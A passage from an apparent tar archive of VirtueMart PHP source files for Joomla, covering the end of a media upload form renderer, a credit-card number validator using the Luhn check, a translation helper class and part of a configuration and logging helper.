				if(empty($this->media_attributes)){
					$mediaattribtemp = 'product';
				}
				$html .= '<tr>
						<td class="labelcell">'.JText::_('COM_VIRTUEMART_FILES_FORM_LOCATION').'</td>
						<td><fieldset class="checkboxes">'.JHTML::_('select.radiolist', $this->getOptions($this->_mLocation), 'media_attributes'.$identify, '', 'value', 'text', $mediaattribtemp).'</fieldset></td></tr>';
			}
			
			// select language for image
			if (count(vmconfig::get('active_languages'))>1) {
				$selectedLangue = explode(",", $this->file_lang);
				$languages = JLanguageHelper::createLanguageList($selectedLangue, constant('JPATH_SITE'), true);
				$html .= '<tr>
						<td class="labelcell"><span class="hasTip" title="' . JText::_ ('COM_VIRTUEMART_FILES_FORM_LANGUAGE_TIP') . '">' . JText::_ ('COM_VIRTUEMART_FILES_FORM_LANGUAGE') . '</span></td>
						<td><fieldset class="inputbox">'.JHTML::_('select.genericlist',  $languages, 'vmlangimg[]', 'size="10" multiple="multiple"', 'value', 'text', $selectedLangue ).'</fieldset></td>
						</tr>';
			}

			$html .= '</table>';
			$html .='<br /></fieldset>';

			$this->addMediaActionByType();

			$html .= '<fieldset class="checkboxes">' ;
			$html .= '<legend>'.JText::_('COM_VIRTUEMART_FILE_UPLOAD').'</legend>';
			$html .= JText::_('COM_VIRTUEMART_IMAGE_ACTION'). JHTML::_('select.radiolist', $this->getOptions($this->_actions), 'media_action'.$identify, '', 'value', 'text', 0).'<br /><br style="clear:both" />';


			$html .= JText::_('COM_VIRTUEMART_FILE_UPLOAD').' <input type="file" name="upload" id="upload" size="50" class="inputbox" /><br />';

			$html .= '<br />'.$this->displaySupportedImageTypes();
			$html .='<br /></fieldset>';
			$html .= $this->displayFoldersWriteAble();

			$html .= $this->displayHidden();

			//		$html .= '</form>';

			return $html;
		}

		/**
		 * child classes can add their own options and you can get them with this function
		 *
		 * @param array $optionsarray Allowed values are $this->_actions and $this->_attributes
		 */
		private function getOptions($optionsarray){

			$options=array();
			foreach($optionsarray as $optionName=>$langkey){
				$options[] = JHTML::_('select.option',  $optionName, JText::_( $langkey ) );
			}
			return $options;
		}

		/**
		 * Just for creating simpel rows
		 *
		 * @author Max Milbers
		 * @param string $descr
		 * @param string $name
		 */
		private function displayRow($descr, $name,$readonly=''){
			$html = '<tr>
		<td class="labelcell">'.JText::_($descr).'</td>
		<td> <input type="text" '.$readonly.'class="inputbox" name="'.$name.'" size="70" value="'.$this->$name.'" /></td>
	</tr>';
			return $html;
		}

		/**
		 * renders the hiddenfields added in the layout before (used to make the displayFileHandle reusable)
		 * @author Max Milbers
		 */
		private function displayHidden(){
			$html='';
			foreach($this->_hidden as $k=>$v){
				$html .= '<input type="hidden" name="'.$k.'" value="'.$v.'" />';
			}
			return $html;
		}

}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������creditcard.php��������������������������������������������������������������������������������������0000666�����������������00000012110�15137212725�0007365 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php

/**
 *
 * Data module for shop credit cards
 *
 * @package    VirtueMart
 * @subpackage CreditCard
 * @author RickG
 * @author Valerie Isaksen
 * @link http://www.virtuemart.net
 * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * @version $Id: creditcard.php 6350 2012-08-14 17:18:08Z Milbo $
 */
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die('Restricted access');

if (!class_exists('VmModel'))
	require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmmodel.php');

/**
 * Model class for shop credit cards
 *
 * @package    VirtueMart
 * @subpackage CreditCard
 * @author RickG
 * @author Valérie Isakesn
 */
class Creditcard {
	/**
	 * Validates the Payment Method (Credit Card Number)
	 * Adapted From CreditCard Class
	 * Copyright (C) 2002 Daniel Frï¿½z Costa
	 *
	 * Documentation:
	 *
	 * Card Type                   Prefix           Length     Check digit
	 * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	 * MasterCard                  51-55            16         mod 10
	 * Visa                        4                13, 16     mod 10
	 * AMEX                        34, 37           15         mod 10
	 * Dinners Club/Carte Blanche  300-305, 36, 38  14         mod 10
	 * Discover                    6011             16         mod 10
	 * enRoute                     2014, 2149       15         any
	 * JCB                         3                16         mod 10
	 * JCB                         2131, 1800       15         mod 10
	 *
	 * More references:
	 * http://www.beachnet.com/~hstiles/cardtype.hthml.
	 * http://www.braemoor.co.uk/software/creditcard.shtml
	 * http://en.wikipedia.org/wiki/Credit_card_number
	 *
	 * @param string $creditcard_code
	 * @param string $cardnum
	 * @return boolean
	 */
	function validate_credit_card_number($creditcard_code, $cardnum) {

		$this->number = self::_strtonum($cardnum);
		/*
		  if(!$this->detectType($this->number))
		  {
		  $this->errno = CC_ETYPE;
		  $d['error'] = $this->errno;
		  return false;
		  } */

		if (empty($this->number) || !self::mod10($this->number)) {
			//JError::raiseWarning('', JText::_('COM_VIRTUEMART_CC_ENUMBER'));
//			$this->errno = CC_ENUMBER;
//			$d['error'] = $this->errno;
			return false;
		}

		return true;
	}

	/*
	 * _strtonum private method
	 *   return formated string - only digits
	 */

	function _strtonum($string) {
		$nstr = "";
		for ($i = 0; $i < strlen($string); $i++) {
			if (!is_numeric($string{$i}))
				continue;
			$nstr = "$nstr" . $string{$i};
		}
		return $nstr;
	}

	/*
	 * mod10 method - Luhn check digit algorithm
	 *   return 0 if true and !0 if false
	 */

	function mod10($card_number) {

		$digit_array = array();
		$cnt = 0;

		//Reverse the card number
		$card_temp = strrev($card_number);

		//Multiple every other number by 2 then ( even placement )
		//Add the digits and place in an array
		for ($i = 1; $i <= strlen($card_temp) - 1; $i = $i + 2) {
			//multiply every other digit by 2
			$t = substr($card_temp, $i, 1);
			$t = $t * 2;
			//if there are more than one digit in the
			//result of multipling by two ex: 7 * 2 = 14
			//then add the two digits together ex: 1 + 4 = 5
			if (strlen($t) > 1) {
				//add the digits together
				$tmp = 0;
				//loop through the digits that resulted of
				//the multiplication by two above and add them
				//together
				for ($s = 0; $s < strlen($t); $s++) {
					$tmp = substr($t, $s, 1) + $tmp;
				}
			} else { // result of (* 2) is only one digit long
				$tmp = $t;
			}
			//place the result in an array for later
			//adding to the odd digits in the credit card number
			$digit_array [$cnt++] = $tmp;
		}
		$tmp = 0;

		//Add the numbers not doubled earlier ( odd placement )
		for ($i = 0; $i <= strlen($card_temp); $i = $i + 2) {
			$tmp = substr($card_temp, $i, 1) + $tmp;
		}

		//Add the earlier doubled and digit-added numbers to the result
		$result = $tmp + array_sum($digit_array);

		//Check to make sure that the remainder
		//of dividing by 10 is 0 by using the modulas
		//operator
		return ($result % 10 == 0);
	}

	/*
	 * validate_credit_card_cvv
	 * The three- or four-digit number on the back of a credit card (on the front for American Express).
	 * @author Valerie Isaksen
	 */

	static function validate_credit_card_cvv($creditcard_type, $cvv, $required = true) {

		if ($required and empty($cvv)) return false;
		return true;
	}

	/*
	 * validate_credit_card_date
	 * expiration date should be tested
	 * @author Valerie Isaksen
	 */

	function validate_credit_card_date($creditcard_type, $month, $year) {
		return true;
	}



}

// pure php no closing tag��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vmtext.php������������������������������������������������������������������������������������������0000666�����������������00000010424�15137212725�0006616 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Class for getting with language keys translated text. The original code was written by joomla Platform 11.1
 *
 * @package    VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved.
 * @copyright Copyright (c) 2014 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */

/**
 * Text handling class.
 *
 * @package     Joomla.Platform
 * @subpackage  Language
 * @since       11.1
 */
class vmText
{
	/**
	 * javascript strings
	 *
	 * @var    array
	 * @since  11.1
	 */
	protected static $strings = array();

	/**
	 * Translates a string into the current language. This just jText of joomla 2.5.x
	 *
	 * Examples:
	 * <script>alert(Joomla.vmText._('<?php echo vmText::_("JDEFAULT", array("script"=>true));?>'));</script>
	 * will generate an alert message containing 'Default'
	 * <?php echo vmText::_("JDEFAULT");?> it will generate a 'Default' string
	 *
	 * @param   string   $string                The string to translate.
	 * @param   mixed    $jsSafe                Boolean: Make the result javascript safe.
	 * @param   boolean  $interpretBackSlashes  To interpret backslashes (\\=\, \n=carriage return, \t=tabulation)
	 * @param   boolean  $script                To indicate that the string will be push in the javascript language store
	 *
	 * @return  string  The translated string or the key is $script is true
	 *
	 * @since   11.1
	 */
	public static function _($string, $jsSafe = false, $interpretBackSlashes = true, $script = false)
	{
		$lang = JFactory::getLanguage();
		if (is_array($jsSafe))
		{
			if (array_key_exists('interpretBackSlashes', $jsSafe))
			{
				$interpretBackSlashes = (boolean) $jsSafe['interpretBackSlashes'];
			}
			if (array_key_exists('script', $jsSafe))
			{
				$script = (boolean) $jsSafe['script'];
			}
			if (array_key_exists('jsSafe', $jsSafe))
			{
				$jsSafe = (boolean) $jsSafe['jsSafe'];
			}
			else
			{
				$jsSafe = false;
			}
		}
		if ($script)
		{
			self::$strings[$string] = $lang->_($string, $jsSafe, $interpretBackSlashes);
			return $string;
		}
		else
		{
			return $lang->_($string, $jsSafe, $interpretBackSlashes);
		}
	}

	/**
	 * Passes a string thru a sprintf.
	 *
	 * Note that this method can take a mixed number of arguments as for the sprintf function.
	 *
	 * The last argument can take an array of options:
	 *
	 * array('jsSafe'=>boolean, 'interpretBackSlashes'=>boolean, 'script'=>boolean)
	 *
	 * where:
	 *
	 * jsSafe is a boolean to generate a javascript safe strings.
	 * interpretBackSlashes is a boolean to interpret backslashes \\->\, \n->new line, \t->tabulation.
	 * script is a boolean to indicate that the string will be push in the javascript language store.
	 *
	 * @param   string  $string  The format string.
	 *
	 * @return  string  The translated strings or the key if 'script' is true in the array of options.
	 *
	 * @since   11.1
	 */
	public static function sprintf($string)
	{
		$lang = JFactory::getLanguage();
		$args = func_get_args();
		$count = count($args);
		if ($count > 0)
		{
			if (is_array($args[$count - 1]))
			{
				$args[0] = $lang->_(
					$string, array_key_exists('jsSafe', $args[$count - 1]) ? $args[$count - 1]['jsSafe'] : false,
					array_key_exists('interpretBackSlashes', $args[$count - 1]) ? $args[$count - 1]['interpretBackSlashes'] : true
				);

				if (array_key_exists('script', $args[$count - 1]) && $args[$count - 1]['script'])
				{
					self::$strings[$string] = call_user_func_array('sprintf', $args);
					return $string;
				}
			}
			else
			{
				$args[0] = $lang->_($string);
			}
			$args[0] = preg_replace('/\[\[%([0-9]+):[^\]]*\]\]/', '%\1$s', $args[0]);
			return call_user_func_array('sprintf', $args);
		}
		return '';
	}

}��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������config.php������������������������������������������������������������������������������������������0000666�����������������00000104313�15137212725�0006535 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 *  * @version $Id$
 * Configuration helper class
 *
 * This class provides some functions that are used throughout the VirtueMart shop to access configuration values.
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (c) 2004-2008 Soeren Eberhardt-Biermann, 2009-2014 VirtueMart Team. All rights reserved.
 */
defined('_JEXEC') or die('Restricted access');

/**
 *
 * We need this extra paths to have always the correct path undependent by loaded application, module or plugin
 * Plugin, module developers must always include this config at start of their application
 *   $vmConfig = VmConfig::loadConfig(); // load the config and create an instance
 *  $vmConfig -> jQuery(); // for use of jQuery
 *  Then always use the defined paths below to ensure future stability
 */
defined('DS') or define('DS', DIRECTORY_SEPARATOR);
define( 'JPATH_VM_SITE', JPATH_ROOT.DS.'components'.DS.'com_virtuemart' );
defined('JPATH_VM_ADMINISTRATOR') or define('JPATH_VM_ADMINISTRATOR', JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart');
// define( 'JPATH_VM_ADMINISTRATOR', JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart' );
define( 'JPATH_VM_PLUGINS', JPATH_VM_ADMINISTRATOR.DS.'plugins' );
define( 'JPATH_VM_MODULES', JPATH_ROOT.DS.'modules' );

if(version_compare(JVERSION,'1.7.0','ge')) {
	defined('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_PLATFORM);
	defined('JVM_VERSION') or define ('JVM_VERSION', 2);
}
else {
	if (version_compare (JVERSION, '1.6.0', 'ge')) {
		defined ('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_LIBRARIES);
		defined ('JVM_VERSION') or define ('JVM_VERSION', 2);
	}
	else {
		defined ('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_LIBRARIES);
		defined ('JVM_VERSION') or define ('JVM_VERSION', 1);
	}
}

//This number is for obstruction, similar to the prefix jos_ of joomla it should be avoided
//to use the standard 7, choose something else between 1 and 99, it is added to the ordernumber as counter
// and must not be lowered.
defined('VM_ORDER_OFFSET') or define('VM_ORDER_OFFSET',3);


require(JPATH_VM_ADMINISTRATOR.DS.'version.php');

JTable::addIncludePath(JPATH_VM_ADMINISTRATOR.DS.'tables');

if (!class_exists ('VmModel')) {
	require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmmodel.php');
}

if(!class_exists('vRequest')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vrequest.php');
if(!class_exists('vmText')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmtext.php');
if(!class_exists('vmJsApi')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmjsapi.php');

/**
 * This function shows an info message, the messages gets translated with JText::,
 * you can overload the function, so that automatically sprintf is taken, when needed.
 * So this works vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE',$type,$link )
 * and also vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE');
 *
 * @author Max Milbers
 * @param string $publicdescr
 * @param string $value
 */

function vmInfo($publicdescr,$value=NULL){

	$app = JFactory::getApplication();

	$msg = '';
	$type = 'info';
	if(VmConfig::$maxMessageCount<VmConfig::$maxMessage){
		$lang = JFactory::getLanguage();
		if($value!==NULL){

			$args = func_get_args();
			if (count($args) > 0) {
				$args[0] = $lang->_($args[0]);
				$msg = call_user_func_array('sprintf', $args);
			}
		}	else {
			// 		$app ->enqueueMessage('Info: '.JText::_($publicdescr));
			//$publicdescr = $lang->_($publicdescr);
			$msg = JText::_($publicdescr);
			// 		debug_print_backtrace();
		}
	}
	else {
		if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) {
			$msg = 'Max messages reached';
			$type = 'warning';
		} else {
			return false;
		}
	}

	if(!empty($msg)){
		VmConfig::$maxMessageCount++;
		$app ->enqueueMessage($msg,$type);
	} else {
		vmTrace('vmInfo Message empty '.$msg);
	}

	return $msg;
}

/**
 * Informations for the vendors or the administrators of the store, but not for developers like vmdebug
 * @param      $publicdescr
 * @param null $value
 */
function vmAdminInfo($publicdescr,$value=NULL){

	if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php');
	if(Permissions::getInstance()->isSuperVendor()){

		$app = JFactory::getApplication();

		if(VmConfig::$maxMessageCount<VmConfig::$maxMessage){
			$lang = JFactory::getLanguage();
			if($value!==NULL){

				$args = func_get_args();
				if (count($args) > 0) {
					$args[0] = $lang->_($args[0]);
					VmConfig::$maxMessageCount++;
					$app ->enqueueMessage(call_user_func_array('sprintf', $args),'info');
				}
			}	else {
				VmConfig::$maxMessageCount++;
				// 		$app ->enqueueMessage('Info: '.JText::_($publicdescr));
				$publicdescr = $lang->_($publicdescr);
				$app ->enqueueMessage('Info: '.JText::_($publicdescr),'info');
				// 		debug_print_backtrace();
			}
		}
		else {
			if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) {
				$app->enqueueMessage ('Max messages reached', 'info');
			}else {
				return false;
			}
		}
	}

}

function vmWarn($publicdescr,$value=NULL){


	$app = JFactory::getApplication();
	$msg = '';
	if(VmConfig::$maxMessageCount<VmConfig::$maxMessage){
		$lang = JFactory::getLanguage();
		if($value!==NULL){

			$args = func_get_args();
			if (count($args) > 0) {
				$args[0] = $lang->_($args[0]);
				$msg = call_user_func_array('sprintf', $args);

			}
		}	else {
			// 		$app ->enqueueMessage('Info: '.JText::_($publicdescr));
			$msg = $lang->_($publicdescr);
			//$app ->enqueueMessage('Info: '.$publicdescr,'warning');
			// 		debug_print_backtrace();
		}
	}
	else {
		if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) {
			$msg = 'Max messages reached';
		} else {
			return false;
		}
	}

	if(!empty($msg)){
		VmConfig::$maxMessageCount++;
		$app ->enqueueMessage($msg,'warning');
		return $msg;
	} else {
		vmTrace('vmWarn Message empty');
		return false;
	}

}

/**
 * Shows an error message, sensible information should be only in the first one, the second one is for non BE users
 * @author Max Milbers
 */
function vmError($descr,$publicdescr=''){

	$msg = '';
	$lang = JFactory::getLanguage();
	$descr = $lang->_($descr);
	$adminmsg =  'vmError: '.$descr;
	if (empty($descr)) {
		vmTrace ('vmError message empty');
		return;
	}
	logInfo($adminmsg,'error');
	if(VmConfig::$maxMessageCount< (VmConfig::$maxMessage+5)){


		if (!class_exists ('Permissions')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php');
		}

		if(Permissions::getInstance()->check('admin')){
			$msg = $adminmsg;
		} else {
			if(!empty($publicdescr)){
				$msg = $lang->_($publicdescr);
			}
		}
	}
	else {
		if (VmConfig::$maxMessageCount == (VmConfig::$maxMessage+5)) {
			$msg = 'Max messages reached';
		} else {
			return false;
		}
	}

	if(!empty($msg)){
		VmConfig::$maxMessageCount++;
		$app = JFactory::getApplication();
		$app ->enqueueMessage($msg,'error');
		return $msg;
	}

	return $msg;

}

/**
 * A debug dumper for VM, it is only shown to backend users.
 *
 * @author Max Milbers
 * @param unknown_type $descr
 * @param unknown_type $values
 */
function vmdebug($debugdescr,$debugvalues=NULL){

	if(VMConfig::showDebug()  ){


		$app = JFactory::getApplication();

		if(VmConfig::$maxMessageCount<VmConfig::$maxMessage){
			if($debugvalues!==NULL){
				// 			$debugdescr .=' <pre>'.print_r($debugvalues,1).'<br />'.print_r(get_class_methods($debugvalues),1).'</pre>';

				$args = func_get_args();
				if (count($args) > 1) {
					// 				foreach($args as $debugvalue){
					for($i=1;$i<count($args);$i++){
						if(isset($args[$i])){
							$debugdescr .=' Var'.$i.': <pre>'.print_r($args[$i],1).'<br />'.print_r(get_class_methods($args[$i]),1).'</pre>';
						}
					}

				}
			}

			if(VmConfig::$echoDebug){
				VmConfig::$maxMessageCount++;
				echo $debugdescr;
			} else if(VmConfig::$logDebug){
				logInfo($debugdescr,'vmdebug');
			}else {
				VmConfig::$maxMessageCount++;
				$app = JFactory::getApplication();
				$app ->enqueueMessage('<span class="vmdebug" >vmdebug '.$debugdescr.'</span>');
			}

		}
		else {
			if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) {
				$app->enqueueMessage ('Max messages reached', 'info');
			}
		}

	}

}

function vmTrace($notice,$force=FALSE){

	if($force || (VMConfig::showDebug() ) ){
		//$app = JFactory::getApplication();
		//
		ob_start();
		echo '<pre>';
		debug_print_backtrace();
		echo '</pre>';
		$body = ob_get_contents();
		ob_end_clean();
		if(VmConfig::$echoDebug){
			echo $notice.' <pre>'.$body.'</pre>';
		} else if(VmConfig::$logDebug){
			logInfo($body,$notice);
		} else {
			$app = JFactory::getApplication();
			$app ->enqueueMessage($notice.' '.$body.' ');
		}

	}

}

function vmRam($notice,$value=NULL){
	vmdebug($notice.' used Ram '.round(memory_get_usage(TRUE)/(1024*1024),2).'M ',$value);
}

function vmRamPeak($notice,$value=NULL){
	vmdebug($notice.' memory peak '.round(memory_get_peak_usage(TRUE)/(1024*1024),2).'M ',$value);
}


function vmSetStartTime($name='current'){

	VmConfig::setStartTime($name, microtime(TRUE));
}

function vmTime($descr,$name='current'){

	if (empty($descr)) {
		$descr = $name;
	}
	$starttime = VmConfig::$_starttime ;
	if(empty($starttime[$name])){
		vmdebug('vmTime: '.$descr.' starting '.microtime(TRUE));
		VmConfig::$_starttime[$name] = microtime(TRUE);
	}
	else {
		if ($name == 'current') {
			vmdebug ('vmTime: ' . $descr . ' time consumed ' . (microtime (TRUE) - $starttime[$name]));
			VmConfig::$_starttime[$name] = microtime (TRUE);
		}
		else {
			if (empty($descr)) {
				$descr = $name;
			}
			$tmp = 'vmTime: ' . $descr . ': ' . (microtime (TRUE) - $starttime[$name]);
			vmdebug ($tmp);
		}
	}

}

/**
 * logInfo
 * to help debugging Payment notification for example
 */
function logInfo ($text, $type = 'message') {
	jimport('joomla.filesystem.file');
	$config = JFactory::getConfig();
	$log_path = $config->get('log_path', JPATH_ROOT . "/log" );
	$file = $log_path . "/" . VmConfig::$logFileName . VmConfig::LOGFILEEXT;

	if (!class_exists ('Permissions')) {
		require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php');
	}
	if(Permissions::getInstance()->check('admin')){
		$show_error_msg = TRUE;
	} else {
		$show_error_msg = FALSE;
	}

	if (!is_dir($log_path)) {
		jimport('joomla.filesystem.folder');
		if (!JFolder::create($log_path)) {
			if ($show_error_msg){
				$msg = 'Could not create path ' . $log_path . ' to store log information. Check your folder ' . $log_path . ' permissions.';
				$app = JFactory::getApplication();
				$app->enqueueMessage($msg, 'error');
			}
			return;
		}
	}
	if (!is_writable($log_path)) {
		if ($show_error_msg){
			$msg = 'Path ' . $log_path . ' to store log information is not writable. Check your folder ' . $log_path . ' permissions.';
			$app = JFactory::getApplication();
			$app->enqueueMessage($msg, 'error');
		}
		return;
	}

	// Initialise variables.
	$FTPOptions = JClientHelper::getCredentials('ftp');
	$head = false;
	$fsize = false;
	$amount = 32768;
	$offset = 0;
	if (!JFile::exists($file)) {
		// blank line to prevent information disclose: https://bugs.php.net/bug.php?id=60677
		// from Joomla log file
		$head = "#\n";
		$head .= '#<?php die("Forbidden."); ?>'."\n";

	} else {
		$fsize = @ filesize($file);

		if($FTPOptions['enabled']){
			$maxSizeLogFile = 32768;	//32kb
		} else {
			$maxSizeLogFile = 524288;//1048576;	//1MB
		}
		if($fsize and $fsize>$maxSizeLogFile){
			$disk_free_space = disk_free_space($log_path);
			if($disk_free_space<VmConfig::get('minHDD',67108864)){

				$offset= $maxSizeLogFile/4;

			} else {
				$fileRename = $log_path . "/" . VmConfig::$logFileName.'_'.JFactory::getDate()->toFormat ('%Y-%m-%d_%H-%M') . VmConfig::LOGFILEEXT;
				JFile::move($file,$fileRename);
				$head = "#\n";
				$head .= '#<?php die("Forbidden."); ?>'."\n";
			}
		}
	}


	if ($FTPOptions['enabled'] == 0){
		static $fp;


		$fp = fopen ($file, 'a+');

		if(!empty($offset)){
			//not a good solution yet, we just delete the ending and add the other stuff again.
			ftruncate($fp,$offset);
		}
		if ($fp) {
			if ($head) {
				fwrite ($fp,  $head);
			}

			fwrite ($fp, "\n" . JFactory::getDate()->toFormat ('%Y-%m-%d %H:%M:%S'));
			fwrite ($fp,  " ".strtoupper($type) . ' ' . $text);
			fclose ($fp);
		} else {
			if ($show_error_msg){
				$msg = 'Could not write in file  ' . $file . ' to store log information. Check your file ' . $file . ' permissions.';
				$app = JFactory::getApplication();
				$app->enqueueMessage($msg, 'error');
			}
		}
	} else {

		$buffer = JFile::read($file,false,$amount,8192,$offset);
		if ($head) {
			$buffer .= $head;
		}
		//This can make trouble if people use FTP and get a lot errors. We strongly recommened to get a hosting which works without the FTP help construction
		$buffer .= "\n" .  JFactory::getDate()->toFormat('%Y-%m-%d %H:%M:%S');
		$buffer .= " " . strtoupper($type) . ' ' . $text;
		if (!JFile::write($file, $buffer)) {
			if ($show_error_msg){
				$msg = 'Could not write in file  ' . $file . ' to store log information. Check your file ' . $file . ' permissions.';
				$app = JFactory::getApplication();
				$app->enqueueMessage($msg, 'error');
			}
			return;
		}
	}


	return;

}


/**
 * The time how long the config in the session is valid.
 * While configuring the store, you should lower the time to 10 seconds.
 * Later in a big store it maybe useful to rise this time up to 1 hr.
 * That would mean that changing something in the config can take up to 1 hour until this change is effecting the shoppers.
 */

/**
 * We use this Class STATIC not dynamically !
 */
class VmConfig {

	// instance of class
	private static $_jpConfig = NULL;
	public static $_debug = NULL;
	public static $_starttime = array();
	public static $loaded = FALSE;

	public static $maxMessageCount = 0;
	public static $maxMessage = 100;
	public static $echoDebug = FALSE;
	public static $logDebug = FALSE;
	public static $logFileName = 'com_virtuemart';
	const LOGFILEEXT = '.log.php';

	public static $lang = FALSE;
	public static $vmlang = FALSE;
	public static $langTag = FALSE;
	public static $vmlangTag = FALSE;
	public static $langCount = 0;

	var $_params = array();
	var $_raw = array();


	private function __construct() {

		if(function_exists('mb_ereg_replace')){
			mb_regex_encoding('UTF-8');
			mb_internal_encoding('UTF-8');
		}

		//if(ini_get('precision')!=15){
		ini_set('precision', 15);	//We need at least 20 for correct precision if json is using a bigInt ids
		//But 17 has the best precision, using higher precision adds fantasy numbers to the end
		//}


	}

	static function getStartTime(){
		return self::$_starttime;
	}

	static function setStartTime($name,$value){
		self::$_starttime[$name] = $value;
	}

	static function showDebug(){

		if(self::$_debug===NULL){

			$debug = VmConfig::get('debug_enable','none');
			//$debug = 'all';	//this is only needed, when you want to debug THIS file
			// 1 show debug only to admins
			if($debug === 'admin' ){
				if (!class_exists ('Permissions')) {
					require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php');
				}
				if(Permissions::getInstance()->check('admin')){
					self::$_debug = TRUE;
				} else {
					self::$_debug = FALSE;
				}
			}
			// 2 show debug to anyone
			else {
				if ($debug === 'all') {
					self::$_debug = TRUE;
				}
				// else dont show debug
				else {
					self::$_debug = FALSE;
				}
			}

			if(self::$_debug){
				ini_set('display_errors', '1');
				//error_reporting(E_ALL ^ E_STRICT);
			} else {
				ini_set('display_errors', '0');
				if(version_compare(phpversion(),'5.4.0','<' )){
					error_reporting( E_ALL & ~E_STRICT );
				} else {
					error_reporting( E_ALL ^ E_STRICT );
				}
			}
		}
		//$nu = $ha;
		return self::$_debug;
	}

	/**
	 * Ensures a certain Memory limit for php (if server supports it)
	 * @author Max Milbers
	 * @param int $minMemory
	 */
	static function ensureMemoryLimit($minMemory=0){

		if($minMemory === 0) $minMemory = VmConfig::get('minMemory','128M');
		$memory_limit = VmConfig::getMemoryLimit();

		if($memory_limit<$minMemory)  @ini_set( 'memory_limit', $minMemory.'M' );

	}

	/**
	 * Returns the PHP memory limit of the server in MB, regardless the used unit
	 * @author Max Milbers
	 * @return float|int PHP memory limit in MB
	 */
	static function getMemoryLimit(){

		$iniValue = ini_get('memory_limit');

		if($iniValue<=0) return 2048;	//We assume 2048MB as unlimited setting
		$iniValue = strtoupper($iniValue);
		if(strpos($iniValue,'M')!==FALSE){
			$memory_limit = (int) substr($iniValue,0,-1);
		} else if(strpos($iniValue,'K')!==FALSE){
			$memory_limit = (int) substr($iniValue,0,-1) / 1024.0;
		} else if(strpos($iniValue,'G')!==FALSE){
			$memory_limit = (int) substr($iniValue,0,-1) * 1024.0;
		} else {
			$memory_limit = (int) $iniValue / 1048576.0;
		}
		return $memory_limit;
	}

	static function ensureExecutionTime($minTime=0){

		if($minTime === 0) $minTime = (int) VmConfig::get('minTime',120);
		$max_execution_time = self::getExecutionTime();
		if((int)$max_execution_time<$minTime) {
			@ini_set( 'max_execution_time', $minTime );
		}
	}

	static function getExecutionTime(){
		$max_execution_time = (int) ini_get('max_execution_time');
		if(empty($max_execution_time)){
			$max_execution_time = (int) VmConfig::get('minTime',120);
		}
		return $max_execution_time;
	}

	/**
	 * loads a language file, the trick for us is that always the config option enableEnglish is tested
	 * and the path are already set and the correct order is used
	 * We use first the english language, then the default
	 *
	 * @author Max Milbers
	 * @static
	 * @param $name
	 * @return bool
	 */
	static public function loadJLang($name,$site=false,$tag=0){

		$jlang =JFactory::getLanguage();
		if(empty($tag))$tag = $jlang->getTag();

		$path = $basePath = JPATH_VM_ADMINISTRATOR;
		if($site){
			$path = $basePath = JPATH_VM_SITE;
		}

		if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){
			$testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$name.'.ini';
			if(!file_exists($testpath)){
				$epath = JPATH_ADMINISTRATOR;
				if($site){
					$epath = JPATH_SITE;
				}
			} else {
				$epath = $path;
			}
			$jlang->load($name, $epath, 'en-GB');
		}

		$testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$name.'.ini';
		if(!file_exists($testpath)){
			$path = JPATH_ADMINISTRATOR;
			if($site){
				$path = JPATH_SITE;
			}
		}

		$jlang->load($name, $path,$tag,true);

		return $jlang;
	}

	/**
	 * @static
	 * @author Valerie Isaksen
	 * @param $name
	 */
	static public function loadModJLang($name){

		$jlang =JFactory::getLanguage();
		$tag = $jlang->getTag();

